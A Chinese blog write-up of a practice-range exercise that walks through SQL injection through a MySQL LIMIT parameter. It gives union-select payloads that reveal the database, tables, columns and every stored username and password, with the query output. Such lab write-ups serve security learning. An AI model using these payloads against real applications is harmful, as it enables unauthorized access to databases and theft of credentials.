码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 五号黯区靶场 mysql 注入之limit注入记录


    前言

    感谢五号黯区团队。
    limit 功能 通常在分页处
    比如page 字段 可能存在

    limit注入(不存在order by)

    http://bug.cc:86/limit/limit.php?p=1
    访问靶场如下图
    在这里插入图片描述

    原数据库语句如下

    select * from users where id <= 100 limit $p,1 
    
    • 1

    p为传参点

    1.1 当p 为1时 sql语句和回显为

    select * from users where id <= 100 limit 1,1
    
    id:2 username:Angelina password:I-kill-you 
    
    • 1
    • 2
    • 3

    1.2 测试是否存在sql注入

    payload:输入2 --+

    select * from users where id <= 100 limit 2 -- ,1
    
    id:1 username:Dumb password:Dumb
    id:2 username:Angelina password:I-kill-you 
    
    • 1
    • 2
    • 3
    • 4

    如上 注释掉了 后边的,- 查询出两条数据
    sql语句 执行成功 说明存在sql注入

    1.3 测试回显位(limit注入后不能用order by 判断列数 )

    payload:1,0 union select 1,2,3 --+

    select * from users where id <= 100 limit 1,0 union select 1,2,3 – ,1

    id:1 username:2 password:3

    1.4 爆数据

    库

    select * from users where id <= 100 limit 1,0 union select 1,2,database() -- ,1
    
    id:1 username:2 password:security 
    
    • 1
    • 2
    • 3

    表

    select * from users where id <= 100 limit 1,0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- ,1
    
    id:1 username:2 password:emails,referers,uagents,users 
    
    • 1
    • 2
    • 3

    字段(两个语句锁定这个表)

    select * from users where id <= 100 limit 1,0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() -- ,1
    
    id:1 username:2 password:id,username,password
    
    • 1
    • 2
    • 3

    字段值

    select * from users where id <= 100 limit 1,0 union select 1,2,group_concat(username,0x7e,password) from security.users -- ,1
    
    id:1 username:2 password:Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2~admin2,admin3~admin3,dhakkan~dumbo,admin4~admin4
    
    • 1
    • 2
    • 3

    1.5 总结

    回显 传入 2–+ 测试 就可以显示出3个字段

    后续测法就和正常union 联合一样 但是不能用order by 判断数据列数

  • 相关阅读:
    肝到头秃,阿里爆款的顶配版Spring Security笔记
    安全实战 | 怎么用零信任防范弱密码?
    【Java基础】List集合概述、特点、特有方法、案例及List集合子类的特点
    Codeforces gym 103990
    Llama-3公布基础训练设施,使用49000个H100
    Nginx:反向代理(示意图+配置)
    【1】zabbix6.4监控windows电脑操作教程
    笔记本电脑的麦克风没有声音
    面向计算思维培养的PBL教学模式设计以模式识别课程为例
    从0开始python学习-33.夹具@pytest.fixture(scope=““,params=““,autouse=““,ids=““,name=““)
  • 原文地址:https://blog.csdn.net/YouthBelief/article/details/125908701
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号